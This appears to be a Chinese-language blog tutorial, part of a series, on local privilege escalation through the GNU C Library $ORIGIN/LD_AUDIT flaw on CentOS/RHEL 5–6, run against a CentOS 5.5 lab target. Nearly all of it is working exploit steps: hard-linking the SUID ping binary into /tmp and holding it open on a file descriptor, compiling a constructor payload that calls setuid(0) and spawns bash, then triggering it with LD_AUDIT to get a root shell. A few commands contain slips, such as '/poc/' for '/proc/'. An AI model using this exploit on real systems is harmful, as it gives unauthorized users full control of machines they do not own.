Linux提权第三篇-GNU C Library动态链接库$ORIGIN溢出提权_bash

GNU C Library动态链接库$ORIGIN溢出提权

提权

利用tmp目录权限、suid权限和c语言是普通账号提权为root权限

适合RHEL5-RHEL6 Centos5-Centos6系统提权

靶机环境:
	centos5.5

新建普通用户

useradd ocean
passwd ocean
su ocean

Linux提权第三篇-GNU C Library动态链接库$ORIGIN溢出提权_提权_02

创建目录

mkdir /tmp/exp
ln /bin/ping /tmp/exp/target 
# 创建target文件硬链接
exec 3< /tmp/exp/target  
# 把target加载到内存中
ls -l /proc/$$/fd/3  
# 查看其在内存的情况
rm -rf /tmp/exp/  
# 删除目录
ls -l /poc/$$/fd/3
# 再次查看其在内存的情况

Linux提权第三篇-GNU C Library动态链接库$ORIGIN溢出提权_提权_03

创建一个 c 文件

vim payload.c

# 文件内容
void __attribute__((constructor)) init()
{
   setuid(0);
   system("/bin/bash");
}

Linux提权第三篇-GNU C Library动态链接库$ORIGIN溢出提权_centos_04

编译文件

gcc -w -fPIC -shared -o /tmp/exp payload.c
# 编译文件
ls -l /tmp/exp
# 查看文件
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
# 提升权限

Linux提权第三篇-GNU C Library动态链接库$ORIGIN溢出提权_linux_05

可以发现权限已提升为root

推荐阅读

http://wjlshare.com/archives/1566

Linux提权第三篇-GNU C Library动态链接库$ORIGIN溢出提权_linux_06